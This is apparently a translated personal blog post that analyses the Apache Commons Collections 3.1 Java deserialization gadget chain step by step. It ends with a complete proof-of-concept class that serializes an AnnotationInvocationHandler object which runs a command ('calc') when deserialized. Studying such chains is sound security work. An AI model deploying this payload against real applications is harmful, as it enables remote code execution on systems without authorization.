Java deserialization vulnerability learning ---Apache Commons Collections

Java deserialization vulnerability learning-Apache Commons Collections

First contact with Java safety~~~~

Apache Commons Collections is a component of Apache Commons. The problem of this vulnerability mainly occurs on the org.apache.commons.collections.Transformer interface. In Apache commons.collections, there is an InvokerTransformer that implements the Transformer interface, which is mainly used to call Java's reflection mechanism to call arbitrary functions.

Affected component version: <=3.1

1. Environment construction

For local testing, download commons-collections-3.1.zip, and import the corresponding jar package into the project: commons-collections-3.1.jar

E.g:

Create an ordinary Java project in IntelliJ IDEA, then File --> Project Structure --> Libraries --> +Add the corresponding jar package

2. Vulnerability analysis

Since it is a deserialization vulnerability, we assume that there is such a statement:

        FileInputStream fileInputStream = new FileInputStream("unserialize.bin");
        ObjectInputStream input = new ObjectInputStream(fileInputStream);
        Object object = input.readObject();
        input.close();
        fileInputStream.close();

It means to take out the binary data from the unserialize.bin binary file and deserialize it.

If the content of the unserialize.bin file is controllable (that is, the user can input), then there may be a deserialization vulnerability.

(Somewhat similar to the deserialization of PHP, the premise of utilization is that there are classes or utilization chains that can be used in the program)

If the program uses a lower version of Apache Commons components, then the corresponding input can be constructed to achieve the purpose of RCE.

The following is an analysis of the classes used in commons.collections:

There is a Transformer interface in this component:

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

There is a class that implements this interface, InvokerTransformer, you can go to see the source code:

public class InvokerTransformer implements Transformer, Serializable {
	private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

	    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

}

Here is a careful analysis of the transform method, you can find that the reflection mechanism is used here to call any method of the passed object.

The above three parameters respectively mean:

methodName: method name

paramTypes: parameter types

args: the parameter value of the incoming method

Generally speaking, if you want RCE, you need to use the Runtime class, but the constructor of Runtime is a private method, so you can't instantiate it directly, you need to call a static method to instantiate, for example:

Runtime.getRuntime.exec("calc");

If you want to directly call the transform method of the InvokerTransformer above for command execution, you can write:

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
                new Class[]{String.class},
                new String[]{"calc"});
        invokerTransformer.transform(runtime);

Personal understanding: The above writing directly instantiates a Runtime object, but the Runtime class does not implement the serialization interface (you can see the source code), that is to say, the Runtime instance object cannot be serialized, so when constructing the POC, try to Do not appear in the program the object instantiated by Runtime, so two classes are introduced later:

ConstantTransformer class and ChainedTransformer class

Let's take a look at the ConstantTransformer class first:

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

Its transform method will directly return the passed parameters;

Let's take a look at the ChainedTransformer class:

 public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

The key part is here:

object = this.iTransformers[i].transform(object);

If iTransformers is the InvokerTransformer object above, we can construct multiple InvokerTransformer objects (note that iTransformers here is an array) and let this statement create Runtime instances through reflection, for example:

Transformer[] transformers = new Transformer[]{
				//获取java.lang.class
                new ConstantTransformer(Runtime.class),
                
				//执行Runtime.class.getMethod("getRuntime")
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
				
				//执行Runtime.class.getMethod("getRuntime").invoke()
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
				//执行Runtime.class.getMethod("getRuntime").invoke().exec
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform("123");

Constructed here, you can find that as long as the chainedTransformer.transform() method is executed, RCE can be achieved.

However, since it is a deserialization vulnerability, the best use case is when the input stream passed in by the user is deserialized, the attack can be directly attacked (that is, the vulnerability will be triggered when the program directly calls the readObject method), so , And several other classes follow:

TransformeMap and AnnotationInvocationHandler classes

First, let's take a look at the class TransformeMap:

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

There is a checkSetValue method in this class, which will call valueTransformer.transform

In other words, this.valueTransformer needs to be constructed as the value of chainedTransformer above;

By analyzing the constructor, we found that this value can be directly constructed:

   public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

(Because TransformedMap is a protected constructor, the static method decorate provided by this class is used for initialization)

Next, continue to follow up on the parent class AbstractInputCheckedMapDecorator of TransformeMap, which has a static inner class:

static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return super.entry.setValue(value);
        }
    }

The setValue method here calls checkSetValue. If this.parent points to the TransformeMap object we constructed earlier, the vulnerability can be triggered here.

Add this to the previous basis: you can also order execution

		Map innerMap = new HashMap();
        innerMap.put("1", "1");
		//构造TransformedMap对象,带入前面构造的transformerChain
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
		//返回Entry这个内部类
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

        onlyElement.setValue("123123");

Let's analyze this statement:

 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

First call outerMap.entrySet(), which is the entrySet method of TransformedMap:

public Set entrySet() {
        return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet());
    }

Follow up this.isSetValueChecking:

    protected boolean isSetValueChecking() {
        return this.valueTransformer != null;
    }

Through the previous construction, we will return true here, that is, the outerMap.entrySet() above will return new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this);

Follow up this class: (it is actually a static inner class, and the MapEntry we need above is in the same class)

static class EntrySet extends AbstractSetDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
            super(set);
            this.parent = parent;
        }
         public Iterator iterator() {
            return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent);
        }
}

It can be found that it assigns the transformerChain we passed in to the parent;

Next, the program executes the iterator method, which is the above:

public Iterator iterator() {
            return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent);
        }

Found that it returned another object, follow up this object: (still a static inner class)

 static class EntrySetIterator extends AbstractIteratorDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
            super(iterator);
            this.parent = parent;
        }

        public Object next() {
            Entry entry = (Entry)super.iterator.next();
            return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
        }
    }

It also assigns the transformerChain we constructed earlier to parent;

Finally, the program calls the next method, which is:

    public Object next() {
            Entry entry = (Entry)super.iterator.next();
            return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
        }

It is found that it just returns the inner class MapEntry we finally need to construct, and assigns parent exactly to the value of transformerChain we constructed;

Finally, call onlyElement.setValue("123123"); to trigger command execution;

The analysis here is not enough, because we want to construct an exploit chain that only needs to call the deserialization function to trigger the vulnerability. Here we need to use the AnnotationInvocationHandler class (JDK version is less than 1.7), which overrides readObject Method, the setValue method of map is called in this method:

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();


        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; all bets are off
            return;
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

(This code is found online, my jdk version is 1.8~~~~)

Here we can find that memberValues ​​is a map object, and we can directly pass in parameters. It uses such a statement here:

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()){
	memberValue.setValue(...)
}

In fact, the structure is the same as above:

memberValues.entrySet().iterator().next()

Here, it is more obvious. We pass in a constructed AnnotationInvocationHandler object, and the target deserializes it, which will cause arbitrary code execution.

Payload is as follows:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test implements Serializable{

    public static void main(String[] args) throws Exception
    {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "2");

        Map transformedmap = TransformedMap.decorate(map, null, transformerChain);


        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);

        Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);
		
		//将ins序列化
        ByteArrayOutputStream exp = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(exp);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
		
		//取出序列化的数据流进行反序列化,验证
        ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(out);
        Object obj = (Object) ois.readObject();
        
    }
}

Three, summary

Deserialization vulnerabilities need to use known classes that exist in the program, so it is important to find classes with BUG.

Java's deserialization vulnerability is really complicated, but it is really interesting. (For example, the iterator().next() constructed above just fits the iteration of the class used).

The reflection mechanism may be used because some classes that need to be used do not inherit the deserialization interface, so the use of dynamically generated corresponding objects can avoid the inability to serialize, so that the desired payload data stream can be constructed.

Reference link:

https://www.smi1e.top/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4%B9%8Bapache-commons-collections/

https://xz.aliyun.com/t/136#toc-0

Guess you like

Origin blog.csdn.net/gental_z/article/details/109008755